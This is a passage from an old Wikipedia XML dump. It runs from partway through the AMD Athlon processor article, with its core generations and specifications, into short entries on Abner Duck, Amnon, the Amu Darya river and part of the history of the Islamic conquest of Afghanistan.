[[Image:Athlon_arch.png|300px|thumb|The AMD Athlon architecture.]]

Internally, the Athlon was essentially a major reworking of the [[AMD K6|K6]] processor core designed for compatibility with the EV6 bus protocol (first used on DEC's [[DEC Alpha|Alpha]] 21264 [[RISC]] processor). AMD dramatically improved the floating-point unit from the K6 and put a large 128 KB (64 + 64 KB) L1-[[CPU cache|Cache]] on the chip. Like [[Intel]]'s [[Pentium II]] and Katmai [[Pentium III]], there was a secondary cache of 512 KB, mounted externally to the chip itself but still within the CPU module, and running at a lower speed than the core: initially half-speed (up to 700 MHz), but later runs at 2/5 (up to 850 MHz) to 1/3 (up to 1 GHz) of the core speed (because of cost and availability issues with very high speed cache [[random access memory|RAM]]). &lt;!-- Please correct this section. The Athlon is not a reworking of the K6 core --&gt;

The resulting processor was the fastest x86 CPU in the world, and various versions of the Athlon held this distinction continuously from August 1999 until January 2002. 

In commercial terms, the Athlon Classic was an enormous success — not just because of its own merits, but also because the normally dependable Intel endured a series of major production, design, and quality control issues at this time. In particular, Intel's transition to a 0.18 [[micrometre|μm]] production process, starting in late 1999 and running through to mid-2000, was chaotic, and there was a severe shortage of Pentium III parts. In contrast, AMD enjoyed a remarkably smooth process transition, had ample supplies available, and Athlon sales became quite strong. Many long-time Intel-only PC dealers found the combination of the Athlon's excellent performance and reasonable pricing tempting, and the prospect of being able to get stock in commercial volumes impossible to resist.

==Athlon Thunderbird (T-Bird)==
The second-generation Athlon, the ''Thunderbird'', debuted on [[June 5]], [[2000]]. This version of the Athlon shipped in a more traditional [[Pin grid array|pin-grid array]] (PGA) format that plugged into a socket (&quot;[[Socket A]]&quot;) on the motherboard. It was sold at speeds ranging from 700 to 1400 MHz. The major difference, however, was cache design. Just as Intel had done when they replaced the old Katmai [[Pentium III]] with the much faster Coppermine P-III, AMD replaced the 512 KB external reduced-speed cache of the Athlon Classic with 256 KB of on-chip, full-speed cache. (As a general rule, more cache improves performance, but faster cache improves it further still.)

The Thunderbird was AMD's most successful product since the [[Am386|Am386DX-40]] ten years earlier. Mainboard designs had improved considerably by this time, and the initial trickle of Athlon mainboard makers has swollen to include every major manufacturer. Their new [[Fab (semiconductors)|fab]] in [[Dresden]] came on-line, allowing further production increases, and the process technology was improved by a switch to copper interconnects. In October 2000 the Athlon &quot;C&quot; was introduced, raising the mainboard [[front side bus]] speed to 266 [[MT/s]] (133 MHz [[double-pumped]]) and providing roughly 10% extra performance over the &quot;B&quot; model Thunderbird.

==Athlon XP==
[[Image:Athlon_XP.png|200px|right|Athlon XP logo]]
In performance terms, the Thunderbird had easily eclipsed the rival Pentium III, and the early [[Pentium 4]]s were a long way off the pace, but gradually clawed their way closer. The 1.7 GHz P4 (April 2001) served notice that the Thunderbird could not count on retaining performance leadership forever, and thermal and electricity-consumption issues with the Thunderbird design meant that it wasn't practical to take it past 1400 MHz (even at that speed it was excessively hot).

===Palomino===
AMD released the third major Athlon version on [[October 9]], 2001, code-named &quot;Palomino&quot;. This version, the first to include the [[Streaming SIMD Extensions|SSE]] instruction set from the Intel [[Pentium III]] as well as AMD's [[3DNow!|3DNow! Professional]], was introduced at speeds between 1333 and 1533 MHz, with ratings from 1500+ and 1800+. The major changes were optimizations to the core design to increase efficiency by roughly 10% over a Thunderbird at the same clock-speed, and power consumption reductions to allow it to be clocked faster (some parts of the chip were already built in 130 nm). It allowed AMD to take the x86 performance lead with the 1800+, increasing it upon the release of the 1900+ (running at 1600 MHz), until Intel released the 2.0 and 2.2 GHz models of the Pentium 4.

The &quot;Palomino&quot; was first released as a mobile version, called the Mobile Athlon 4 (also code-named &quot;Corvette&quot;), after the fact that it was AMD's fourth core to be called Athlon (after the original K7, the 0.18 μm K75, and the Thunderbird), but many people noted that the name was most likely a jab at the then-brand-new Intel [[Pentium 4]]. The desktop Athlon XP followed a few months later, in October.

The &quot;Palomino&quot; did have one major flaw, however: it ran very hot. Its [[Symmetric multiprocessing|SMP]] enabled version, the Athlon MP entry (which carried the Palomino core before the Athlon XP), was initially hammered due to heat issues with the Palomino core.

The ''Athlon XP'' was marketed using a [[PR rating]] system, which compared its performance to an Athlon Thunderbird. Because the Athlon XP had much higher [[Instructions Per Clock|IPC]] (instructions per clock) than the Pentium 4 (and about 10% higher than a Thunderbird), it was more efficient; it delivered the same level of performance at a lower clock-speed, or higher performance at the same speed.

===Thoroughbred (T-Bred)===
[[Image:AMD-Athlon-XP-2100l.jpg|thumb|200px|right|Athlon XP 2100 Thoroughbred{{ifdc|February_27}}]]
The fourth-generation Athlon, the ''Thoroughbred'', was released [[10 June]] [[2002]] at 1.8 GHz, or 2200+ on the PR rating system. There were actually two versions of this core, commonly called A and B. The A version was the one introduced at 1800 MHz, which had some heat issues, so it was only sold in versions from 1333 to 1800 MHz, replacing the Palomino.
The B version, which had an additional metal layer, was released at higher clock speeds, up to the 2800+ model, which ran at 2250 MHz. Later, it replaced the entire Athlon XP line until the launch of the ''Barton'' core.
Two new models, the 2400+ and 2600+, were announced on [[21 August]] [[2002]]. The 2400+ ran at 2000 MHz, and the 2600+ ran at 2083 or 2133 MHz, depending on the [[front side bus]] speed (2083 MHz for 333 MT/s FSB, 2133 MHz for 266 MT/s FSB). 2700+ and 2800+ ''Thoroughbred'' parts were also announced, but were only available in very small quantities. 

The &quot;Thoroughbred&quot; core was on a 0.13 micrometre (130 nm) process, updated from the 0.18 micrometre (180 nm) process of its &quot;Palomino&quot; predecessor. Other than the new process, the Thoroughbred design was not different from the &quot;Palomino&quot; in any way. AMD did have initial troubles with the &quot;Thoroughbred A&quot; revision having substantial heat issues, which were solved in the &quot;B&quot; revision. The rev. A may have been on the 130 nm process, but it offered no real improvements over the old Palomino. Overclockers still liked to use the Palomino; even with it being made on the 180 nm process, it still was able to hit higher clock speeds. The Thoroughbred &quot;B&quot; fixed this problem by adding an extra metal layer to the manufacturing process, allowing enhanced speeds that would allow them to conquer the market again. At first, 2600+ was released. Later, AMD raised the FSB from 266 MT/s (133 MHz double-pumped) to 333 MT/s (166 MHz double-pumped). This allowed the company to raise the performance rating numbers of the CPUs without actually upping the clock speed much. However, AMD failed to manufacture and ship acceptable amounts of the highest-end 2700+ and 2800+ Thoroughbreds, and as a result they were hard to obtain.

===Barton and Thorton===
Fifth-generation Athlon ''Barton''-core processors released in early 2003 featured PR ratings of 2500+, 2600+, 2800+, 3000+, and 3200+. While not faster than ''Thoroughbred''-core processors in clock speed, they earned their higher PR-rating-per-clock by featuring an additional 256 KB of full-speed on-chip level 2 cache, for a total of 512 KB, and a faster FSB. The ''Thorton'' core was a variant of the ''Barton'' with half of the L2 cache disabled and thus functionally identical to the ''Thoroughbred B'' core. The disabled L2 cache on some ''Thortons'' was partially defective, but on others it could be re-enabled through bridge modifications. [http://www.xbitlabs.com/news/cpu/display/20030930171549.html]

As with most Athlons, the Barton core was popular with overclockers. For example, the 2500+ was rated to run an a 333 MT/s (166 MHz double-pumped) bus. By upping this to 400 MT/s (200 MHz double-pumped), it became equivalent to the much more expensive 3200+. Some suspect this was the reason for the relatively short retail lifespan of the lower-rated Bartons, which were the first to be replaced by the cut-down Semprons.

Some AMD proponents claim that these new parts regained performance leadership for the Athlon, but this remained in doubt. Much controversy surrounds the [[Benchmark (computing)|benchmark]]s which are used to measure performance leadership. In particular, industry insiders point out that some tests have been deliberately skewed in Intel's favour—notably the BAPCo tests, which were written by Intel's own engineers. Other insiders accused AMD's model numbers of no longer being internally consistent, and also accused them of basing their processor ratings on applications which were no longer widely used.

Most observers considered the Athlon no longer the fastest x86 processor in the world, believing that Intel's Pentium 4 overtook the Athlon XP early in 2002 and held its lead until February 2003, with the 3.06 GHz P4 benchmarking slightly faster than the Athlon 2700+.  At the time, the question was moot: AMD had yet to deliver the 2700+ and 2800+ in commercial quantities; they did not begin to ship in volume until well into the first quarter of 2003. However, as the initially troublesome transition to the 0.13 micrometre process neared completion, AMD began producing large numbers of 0.13 micrometre parts in the 1700+ to 2400+ speed grades (usually a sign that faster grades are not far away). In mid February 2003, they announced the Athlon XP 3000+ to ship in volume in early March of 2003. Pending an Intel reply, the 3000+ had according to AMD reclaimed the &quot;fastest x86 in the world&quot; title for the Athlon once again. However, reviewers' opinions on this were split, and most still believed the top Intel part to be faster. A month later, Intel introduced a new series of Pentium 4s which had a faster 800 MT/s, or 200 MHz quad-pumped bus (previously it was 533 MT/s, or 133 MHz quad-pumped. The new bus was indicated by the &quot;C&quot; appendage at the end of the model number) and support for [[Hyper-Threading]]. In response, AMD released the Athlon XP 3000+ and 3200+ featuring a 400 MT/s bus. Unfortunately, the bus speed increase did not offer a large performance gain. The 3200+ failed to convincingly outperform the new 3.0 GHz Pentium 4 &quot;C&quot;, much less the subsequent 3.2 GHz version. Many reviewers concluded that the C-series Pentium 4 was a bridge too far for the Athlon XP, and that Intel had gained a decisive performance lead which the Athlon XP could not overcome. However, AMD did not try to do so; their focus was now on the soon-to-be released K8, the [[Athlon 64]].

===Mobile Athlon XP===
[[Image:Athlon_XPM_2400l.jpg|thumb|225px|right|Athlon XP 2400+ Mobile]]
Mobile Athlon XPs (''Athlon XP-M'') are identical to normal Athlon XPs, apart from running at lower voltages and not being multiplier-locked. The lower vcore ratings allow the CPU to run with less power consumption (ideal for battery-powered laptops) and produce less heat. They are also capable of having their multipliers dynamically adjusted by software to supply faster speeds at higher frequencies when demanded, but throttle back to lower speeds and voltages when CPU demand is lower.

The Athlon XP-M replaced the older Mobile Athlon 4. The Mobile Athlon 4 used the older ''Palomino'' core, while the Athlon XP-M uses the newer ''Thoroughbred'' and ''Barton'' cores.

It also features '''Power Now!''' where the CPU's clock speed is automatically decreased when the computer is under a low load, to save battery power and reduce heat. Similar to Intel's [[SpeedStep]] technology.

Some specialized low-power Athlon XP-Ms utilise the microPGA [[socket 563]] rather than the standard Socket A.

Athlon XP-Ms on desktop computers became very popular with [[overclocking|overclockers]], as well as [[underclocking|underclockers]], by early 2004, in part because their multipliers are unlocked.  Athlon XP-Ms are structurally identical to Desktop Athlon cousins but are singled out for their ability to operate at voltages well below normal. Since they are so efficient with voltage, they respond extremely well to increased voltages and overclock extremely well. Athlon XP-Ms overclock demonstrably better than multiplier unlocked Desktop Athlon XPs with the same &quot;Barton&quot; core. Some ''Barton'' core Athlon XP-Ms have been successfully overclocked to as high as 3.1 GHz.

Mobile Athlon XPs are also attractive CPUs for use in [[HTPC|home theater]] systems due to their high performance and ability to underclock and undervolt for quiet operation needed in the living room.

== Models ==
===Athlon===
==== Athlon Classic====
*-&gt; '''K7''' &quot;Argon&quot; (250 nm)
*-&gt; '''K75''' &quot;Pluto/Orion&quot; (180 nm)
* L1-Cache: 64 + 64 KB (Data + Instructions)
* L2-Cache: 512 KB, external chips on CPU module with 50, 40 or 33% of CPU-speed
* [[MMX]], [[3DNow!]]
* [[Slot A]] (EV6)
* [[Front side bus]]: 200 MT/s (100 MHz double-pumped)
* VCore: 1.6 V (K7), 1.6 - 1.8 V (K75)
* First release: June 23, 1999 (K7), November 29, 1999 (K75)
* Clockrate: 500 - 700 MHz (K7), 550 - 1000 MHz (K75)

====Thunderbird (180 nm) ====
* L1-Cache: 64 + 64 KB (Data + Instructions)
* L2-Cache: 256 KB, fullspeed
* [[MMX]], [[3DNow!]]
* [[Slot A]] &amp; [[Socket A]] (EV6)
* [[Front side bus]]: 200 MT/s (Slot-A, B-models), 266 MT/s (C-models) (133, 166 MHz double-pumped)
* VCore: 1.7 V - 1.75 V
* First release: June 5, 2000
* Clockrate: 
** [[Slot A]]: 650 - 1000 MHz
** [[Socket A]], 200 MT/s FSB (B-models): 650 - 1400 MHz
** [[Socket A]], 266 MT/s FSB (C-models): 1000 - 1400 MHz

===Athlon XP===
==== Palomino (180 nm) ====
* L1-Cache: 64 + 64 KB (Data + Instructions)
* L2-Cache: 256 KB, fullspeed
* [[MMX]], [[3DNow!]], [[Streaming SIMD Extensions|SSE]]
* [[Socket A]] (EV6)
* [[Front side bus]]: 266 MT/s (133 MHz double-pumped)
* VCore: 1.75 V
* First release: October 9, 2001
* Clockrate: 1333 - 1733 MHz (1500+ to 2100+)

====Thoroughbred A/B (130 nm) ====
* L1-Cache: 64 + 64 KB (Data + Instructions)
* L2-Cache: 256 KB, fullspeed
* [[MMX]], [[3DNow!]], [[Streaming SIMD Extensions|SSE]]
* [[Socket A]] (EV6)
* [[Front side bus]]: 266/333 MT/s (133/166 MHz double-pumped)
* VCore: 1.5 V - 1.65 V
* First release: June 10, 2002 (A), August 21, 2002 (B)
* Clockrate:
** T-Bred &quot;A&quot;: 1400 - 1800 MHz (1600+ to 2200+)
** T-Bred &quot;B&quot;: 1400 - 2250 MHz (1600+ to 2800+)
** 266 MT/s FSB: 1400 - 2133 MHz (1600+ to 2600+)
** 333 MT/s FSB: 2083 - 2250 MHz (2600+ to 2800+)

==== Thorton (130 nm) ====
* L1-Cache: 64 + 64 KB (Data + Instructions)
* L2-Cache: 256 KB, fullspeed
* [[MMX]], [[3DNow!]], [[Streaming SIMD Extensions|SSE]]
* [[Socket A]] (EV6)
* [[Front side bus]]: 266/333/400 MT/s (133/166/200 MHz double-pumped)
* VCore: 1.6 V - 1.65 V
* First release: September 2003
* Clockrate: 1667 - 2200 MHz (2000+ to 3100+)

====Barton (130 nm) ====
* L1-Cache: 64 + 64 KB (Data + Instructions)
* L2-Cache: 512 KB, fullspeed
* [[MMX]], [[3DNow!]], [[Streaming SIMD Extensions|SSE]]
* [[Socket A]] (EV6)
* [[Front side bus]]: 333/400 MT/s (166/200 MHz double-pumped)
* VCore: 1.65 V
* First release: February 10, 2003
* Clockrate: 1833 - 2333 MHz (2500+ to 3200+)
** 333 MT/s FSB: 1833 - 2333 MHz (2500+ to 3200+)
** 400 MT/s FSB: 2100, 2200 MHz (3000+, 3200+)

==See also==
* [[List of AMD Athlon microprocessors]]
* [[List of AMD Athlon XP microprocessors]]
* [[List of AMD Athlon 64 microprocessors]]

==External links==
* [http://www.cpu-collection.de/?tn=0&amp;l0=co&amp;l1=AMD&amp;l2=Athlon cpu-collection.de] AMD Athlon processor images and descriptions
* [http://www.amdboard.com/amdid.html amdboard.com] AMD Athlon/Duron/Sempron CPU identification and OPN breakdown
* [http://www.amd.com/gb-uk/assets/content_type/DownloadableAssets/K7_Electrical_Specification_Rev_ENG.pdf AMD's Technical Specifications] for 7th generation CPUs (.pdf)
* [http://en.wikipedia.org/wiki/List_of_AMD_Athlon_XP_microprocessors#Athlon_XP_.22Thorton.22_.28Model_10.2C_130_nm.29] Reference on rare OEM 3100+ Thorton Core

== References ==
{{FOLDOC}}

{{AMD_processors}}


[[Category:AMD products|AMD 786]]
[[Category:Microprocessors|AMD 786]]
[[Category:x86 microprocessors|AMD 786]]

[[de:AMD Athlon]]
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[[zh:AMD Athlon]]</text>
    </revision>
  </page>
  <page>
    <title>Abner Duck</title>
    <id>3062</id>
    <revision>
      <id>36020940</id>
      <timestamp>2006-01-20T23:27:37Z</timestamp>
      <contributor>
        <username>96T</username>
        <id>97147</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Abner Duck''' (nicknamed '''Whitewater''') is a [[fictional character]], one of [[Walt Disney]]'s [[comic book]] characters. He was created by [[Carl Barks]] and used only in his story &quot;Log Jockey&quot;, published in ''[[Walt Disney's Comics and Stories]]'' #268 on [[December]], [[1962]].

On [[Don Rosa]]'s Duck Family Tree he is shown as a son of [[Eider Duck]] and [[Lulubelle Loon]] and the brother of [[Fethry Duck]]. He might even be the father of [[Dugan Duck]].

He works as a lumberjack in the woods.

[[Category:Characters in the Scrooge McDuck universe|Duck, Abner]]

[[it:Abner Duck]]</text>
    </revision>
  </page>
  <page>
    <title>Aspergers disorder</title>
    <id>3063</id>
    <revision>
      <id>25436477</id>
      <timestamp>2005-10-13T15:07:03Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Asperger syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Amnon</title>
    <id>3065</id>
    <revision>
      <id>39566349</id>
      <timestamp>2006-02-14T09:12:33Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: yi</comment>
      <text xml:space="preserve">'''Amnon''' was [[David|David's]] eldest son. He raped [[Tamar (biblical figure)|Tamar]] and was murdered by [[Absalom]].

Amnon was the progeny of David and [[Ahinoam]]. Tamar and Absalom were the progeny of David and [[Maachah]]. Thus Amnon and Absalom were half-brothers, like [[Abraham]]'s son's [[Ishmael]] and [[Isaac]].

Jewish law forbade Amnon to marry a half-sister, and taking evil advice he pretended to be sick. He lured Tamar into his quarters with the pretense that he wanted her to cook a special meal for him, ignored her protests and had sexual intercourse with her. Two years later, Absalom engineered Amnon's death.

==Books==
*''The Rape of Tamar'', novel by Dan Jacobson (ISBN 1842321390)

==External links==
*[http://calvarychapel.com/ccbcgermany/commentaries/1013.htm A Christian commentary on the incident and its aftermath]

[[Category:Tanakh people]]

[[de:Amnon]]
[[gl:Amnón]]
[[he:אמנון (דמות תנ&quot;כית)]]
[[yi:אמנון]]</text>
    </revision>
  </page>
  <page>
    <title>Authoritarinism</title>
    <id>3066</id>
    <revision>
      <id>15901434</id>
      <timestamp>2004-09-12T19:25:52Z</timestamp>
      <contributor>
        <username>Steve Casburn</username>
        <id>38945</id>
      </contributor>
      <comment>re-directing page to proper spelling</comment>
      <text xml:space="preserve">#REDIRECT [[Authoritarianism]]</text>
    </revision>
  </page>
  <page>
    <title>Amu Darya</title>
    <id>3067</id>
    <revision>
      <id>41000049</id>
      <timestamp>2006-02-24T11:14:21Z</timestamp>
      <contributor>
        <username>John Hill</username>
        <id>179750</id>
      </contributor>
      <comment>a few small additions</comment>
      <text xml:space="preserve">[[Image:amu darya delta.jpg|thumb|300px|Amu Darya Delta from space, November 1994]]

[[image:Aral_map.png|thumb|200px|Map of area around the Aral Sea. Aral Sea boundaries are circa 1960.  Countries at least partially in the Aral Sea watershed are in yellow.]]

The '''Amu Darya''' (also ''Amudarya'', ''Amudar'ya'', in [[Persian language|Persian]] &amp;#1570;&amp;#1605;&amp;#1608;&amp;#1583;&amp;#1585;&amp;#1740;&amp;#1575;; ''Darya'' means &quot;[[Sea]]&quot; in Persian and ''Amu'' means &quot;[[river]]&quot; in [[Turkic]]), is a river in [[Central Asia]]. It is navigable for over 1,450 km (800 miles). Its total length is 2,400 km (1,500 miles). 
In [[Classical Antiquity]], the river was known as the '''Oxus''' in [[Greek language|Greek]].

It rises in the [[Pamir Mountains]] as the '''Pamir River''', emerging from [[Zorkul]], flowing east until [[Ishtragh]], where it turns north and then east north-west through the [[Hindu Kush]] as the '''[[Panj]]''', forming the border of [[Afghanistan]] and [[Tajikistan]], and subsequently the border of Afghanistan and [[Uzbekistan]] for about 200 km, passing [[Termez]] and the [[Afghanistan-Uzbekistan Friendship Bridge]]. It follows the border of Afghanistan and [[Turkmenistan]] for another 100 km before it flows into Turkmenistan at [[Kerki]]. As '''Amudarya''', it flows across Turkmenistan south to north, passing [[Turkmenabat]], and forms the border of Turkmenistan and [[Uzbekistan]] from [[Khalkabad]]. It is then split into many waterways that used to form the [[river delta]] joining the [[Aral Sea]], passing [[Urgench]], [[Daşoguz|Dashoguz]] and other cities, but it does not reach what is left of the sea anymore and is lost in the desert.

Use of water from the Amu Darya for [[irrigation]] has been a major contributing factor in the shrinking of the Aral Sea since the late [[1950s]].

Historical records state that in different periods the river flowed into the Aral Sea (from the south), the [[Caspian Sea]] (from the east) or both, similar to the [[Syr Darya]] ('''Jaxartes''', in [[Ancient Greek]]). 

==See also==
*[[Syr Darya]]
*[[Transoxiana]]

[[Category:Rivers of Afghanistan]]
[[Category:Rivers of Turkmenistan]]
[[Category:Rivers of Uzbekistan]]

[[bg:Амударя]]
[[cs:Amudarja]]
[[de:Amudarja]]
[[et:Amudarja]]
[[es:Amu Daria]]
[[eo:Amudarjo]]
[[fr:Amou-Daria]]
[[ko:아무다리야 강]]
[[nl:Amu Darja]]
[[ja:アムダリヤ川]]
[[no:Amu Darya]]
[[pl:Amu-daria]]
[[ru:Амударья (река)]]
[[sa:अमु दरिया]]
[[sv:Amu-Darja]]
[[vi:Amu Darya]]
[[uk:Амудар'я]]</text>
    </revision>
  </page>
  <page>
    <title>Islamic conquest of Afghanistan</title>
    <id>3068</id>
    <revision>
      <id>41545486</id>
      <timestamp>2006-02-28T01:44:00Z</timestamp>
      <contributor>
        <username>Siddiqui</username>
        <id>308269</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{History of Afghanistan}}

==The Islamic Conquest==
[[Image:Age of Caliphs.gif|225px|thumb|left|The Age of the Caliphs]]
In [[637]], five years after the death of the Islamic Prophet [[Muhammad]], [[Arab]] Muslims shattered the might of the [[Iran]]ian [[Sassanid Empire|Sassanians]] at the Battles of [[Battle of al-Qādisiyyah|al-Qādisiyyah]] and [[Nahavand]].  The invaders began to move towards the lands east of Iran: [[Herat]] was captured in 652. By 709 all of Aryana came under Arab control and encountered pockets of resistance from local tribesmen for centuries. In addition, [[Tang China]] and [[Tibet]] mounted an opposition to the Arab invasion to prevent their incursions into Central Asia. Central Asia and eastern Iran were nominally under Chinese soverignty for five years in the early eighth century. Native [[Persian language|Iranian]]-speaking Muslims and assimilated [[Khurasan]]i Arabs took power from the Arab elites in Damascus and Baghdad, and helped the local languages and much of the pre-Islamic Iranic culture survive. The Persians then annexed the regions around Kabul from the Hindu [[Shahi]]s as well. By the middle of the eighth century, the rising [[Abbasid Dynasty]] slowed Arab expansion and began a policy of consolidation. Peace prevailed under the rule of the Caliph [[Harun al-Rashid]] ([[785]]-[[809]]) and his successors and higher learning flourished in such [[Central Asia|Central Asian]] cities as [[Samarkand]] and [[Tashkent]]. 

[[Image:Biruni-russian.jpg|200px|thumb|Biruni commemorated on a Soviet stamp for his millennial anniversary.]]

From the seventh through the ninth centuries, many inhabitants of what is present-day [[Afghanistan]], [[Pakistan]], southern parts of the former [[Soviet Union]], and areas of northern [[India]] were converted to [[Sunni Islam]]. However some small pockets of pre-Islamic peoples such as the Kafirs of [[Kafiristan]] (modern [[Nuristan]]) managed to remain untouched by the Muslim faith, and were not converted until 1896. It is surmised from the writings of [[Al Biruni]] that the Pashtuns and/or other local Afghans in eastern Afghanistan had not been completely converted. Al Biruni, writing in [[Tarikh al Hind]], also alludes to the eastern Afghans as being neither Muslim nor Hindu, but simply Afghans which may mean that the local population of eastern Afghanistan were pagans and animists not unlike the Kafirs and [[Kalash]] prior to the coming of Islamic invaders.  

In the eighth and ninth centuries ancestors of many of today's [[Turkic languages|Turkic]]-speaking Afghans settled in northern Afghanistan (partly to obtain better grazing land) near the modern borders with [[Uzbekistan]] and [[Turkmenistan]] and some may have begun to assimilate much of the [[Culture of Iran|Iranian]] culture and language of the [[Pashtun]] and [[Tajik]] tribes already present there (see [[Ghilzai]] for further details).

By the middle of the ninth century, Abbasid rule went into decline, and semi-independent states began to emerge throughout the former Arab empire. In Central Asia, three short-lived, local dynasties ascended to power. The best known of the three, the [[Samanid Dynasty|Samanid]], extended its rule from [[Bukhara]] to as far south as the [[Indus]] and west into most of Iran. Although Arab Muslim intellectual life was still centered in [[Baghdad]], Iranian Muslim scholarship, that is, [[Shi'a Islam]], predominated in the Samanid areas at this time. By the mid-tenth century, the Samanid Dynasty had crumbled in the face of attacks from Turkish tribes to the north and from the [[Ghaznavids]], a rising Turkic dynasty in Afghanistan.

== Ghaznavid and Ghorid Rule ==

Out of the [[Samanid Dynasty]] came the first great [[Islam]]ic empire of the region, the [[Ghaznavid Empire]], whose warriors, forged an empire that spanned much of Iranian plateau and Central Asia and conducted many successful raids into [[South Asia]]. Their military incursions assured the domination of [[Sunni Islam]] in what is now Afghanistan, [[Pakistan]], and parts of India. The most renowned of the dynasty's rulers was [[Mahmud of Ghaznavid|Mahmud]], who consolidated control over the areas south of the [[Amu Darya]] then carried out devastating raids into India - looting [[Hindu]] temples in his wake. With his booty from India, Mahmud built a great capital at [[Ghazni]], founded universities, and patronized scholars. Mahmud was recognized by the caliph in [[Baghdad]] as the temporal heir of the Samanids. By the time of his death, Mahmud ruled a vast empire that stretched from [[Kurdistan]] to the entire [[Hindu Kush]] region as far east as the [[Punjab region|Punjab]] as well as territories far north of the [[Amu Darya]]. However, as occurred so often in this region, the demise in [[1030]] of this military genius who had expanded the empire to its farthest reaches was the death knell of the dynasty itself. The [[Tajik]] rulers of the [[Ghowr|Kingdom of Ghor]] (also Ghur), southeast of [[Herat]], captured and burned Ghazni in [[1149]], just as the Ghaznavids had once conquered [[Ghor]]. Not until [[1186]], however, was the last representative of the Ghaznavids uprooted by the Ghorids (Ghurids) from his holdout in [[Lahore]], in the [[Punjab (Pakistan)|Punjab ]].

The Ghorids controlled most of what is now Afghanistan, eastern [[Iran]], Pakistan, and northern India, while parts of central and western Iran were ruled by the [[Seljuk Turks]]. From [[1200]] to [[1205]] most of the Ghorid lands were conquered by the [[Shah]] of the [[Khwarezmid Empire]], whose empire would, in turn, be defeated by the Mongols in [[1220]].

== Mongol Rule, [[1220]]-[[1506]] ==
[[Image:TimurExhumed2.jpg|thumb|right|200px|Reconstruction of Timur from exhumation of his tomb.]]
Followings years of conquest in China and Central Asia, the [[Mongol Empire]] had emerged as a major world power of its day and attempted to co-exist with some of their neighbors including the empire the [[Khwarezmia]] Shah (which included what is today Afghanistan) and sent emissaries to establish diplomatic and trading links. As either a bluff to dissuade the Mongols from aggression or as simply a haughty sign of disrespect, the Khwarezmia Shah [[Muhammad II of Khwarezm|Ala ad-Din Muhammad II]] had the diplomats executed and sent their heads back to the Mongols and this prompted a military confrontation. In [[1220]], the [[Islam|Islamic]] lands of [[Central Asia]] were overrun by the armies of the [[Mongol]] invader [[Genghis Khan]] (ca. [[1155]]-[[1227]]), who laid waste to many cities and settlements and created an empire that stretched from [[China]] to the [[Caucasus]]. The Mongols under [[Genghis Khan]] responded with great severity to the insults they had taken from Muhammad II and took out their revenge against the inhabitants of Khwarezmia including, for example, exterminating every human being, including women and children, in the cities of Herat and Balkh. This devastation had severe consequences for the natives of Afghanistan as the destruction caused by the Mongols depopulated many of the major cities and caused much of the population to revert to an agrarian rural society. Thus, Afghanistan became dominated by cattlebreeding tribes who also specialized in horseback riding. [[Genghis Khan]] failed to extinguish or even particularly hamper Islam in Central Asia, if that was even his intent, as the religion continued to define many local inhabitants culturally. In fact, by the end of the 13th century, Genghis Khan's descendants had themselves become Muslims (many speculate that the [[Hazara]]s of Afghanistan are in fact the descendents of Genghis Khan and his Mongol hordes) and even the title of 'khan' became a not so uncommon name adopted by many local inhabitants. From the death of Genghis Khan in [[1227]] until the rise of [[Timur Lenk]] (Tamerlane) in the [[1380s]], Central Asia went through a period of fragmentation.

A product of both [[Turkic peoples|Turkish]] and Mongol descent, Timur claimed Genghis Khan as an ancestor. From his capital of [[Samarkand]], Timur created an empire that, by the late fourteenth century, extended from northern [[India]] to eastern [[Turkey]]. The turn of the sixteenth century brought an end to the [[Timurid Empire]] when another Central Asian ruler of Turkic-Mongol extraction, [[Muhammad Shaybani]], overwhelmed the weakened Timurid ruler in [[Herat]]. Shaybani (also a descendant of Genghis Khan) and his successors ruled the area around the [[Amu Darya]] for about a century, while to the south and west of what is now [[Afghanistan]] two powerful dynasties began to compete for influence.

== Mughal-Safavid Rivalry, ca. [[1500]]-[[1747]] ==

Early in the sixteenth century, [[Babur]], who was descended from [[Timur]] on his father's side and from [[Genghis Khan]] on his mother's, was driven out of his father's kingdom in the [[Ferghana Valley]] (which straddles contemporary [[Uzbekistan]], [[Tajikistan]] and [[Kyrgyzstan]]) by the [[Uzbeks|Shaybani Uzbeks]], who had wrested [[Samarkand]] from the [[Timurid Empire|Timurids]]. After several unsuccessful attempts to regain Ferghana and Samarkand, Babur crossed the [[Amu Darya]] and captured [[Kabul]] from the last of its [[Mongol]] rulers in 1504. In his invasion of [[Delhi Sultanate]] of [[India]] in 1526, Babur's army of 12,000 defeated a less mobile force of 100,000 at the [[First Battle of Panipat]], about forty-five kilometers northwest of [[Delhi]]. The [[Delhi Sultanate]] was itself ruled by ex-patriot Afghan/Pashtun rulers, the [[Lodhi dynasty]]. Although the [[Mughal Empire]] would shift largely to India, Babur's memoirs, as related in the ''Baburnameh'' stressed his love for Kabul - both as a commercial strategic center as well as a beautiful highland city with an &quot;extremely delightful&quot; climate and was the Mughal Empire's first capital until being moved to Lahore and Delhi by later emperors.

Although Mughal rule technically lasted in parts of Afghanistan until the early 18th century, it came under constant challenge from local Pashtun tribesmen. The Mughals originally had come from [[Central Asia]], but once they had taken India, the area that is now southeastern [[Afghanistan]] and western [[North-West Frontier Province, Pakistan|Pakistan]] was relegated to a mere outpost of the empire as even the name of a prominent Afghan city, Peshawar literally translates from Persian to ''City on the Frontier''. Indeed, during the sixteenth and seventeenth centuries, much of Afghanistan was hotly contested between the Mughals of India and the [[Safavids]] of [[Iran]]. The Safavids had held Herat and much of western and northern Afghanistan during the same time period that the Mughals controlled Kabul, Kandahar, and Peshawar. Just as Kabul dominates the high road from Central Asia into India, [[Kandahar]] commands the only approach towards India that skirts the Hindu Kush. The strategically important Kabul-Kandahar axis was the primary focus of competition between the Mughals and the Safavids, and Kandahar itself changed hands several times during the sixteenth and seventeenth centuries. The Safavids and the Mughals were not the only contenders, however. Less powerful but closer at hand were the [[Uzbek|Uzbeks]] of Central Asia, who fought for control of [[Herat]] in western Afghanistan and for the northern regions as well where neither the Mughals nor the Safavids were able to effectively challenge them. Many of the Uzbeks of Afghanistan arrived during this phase of northern Afghanistan's history.

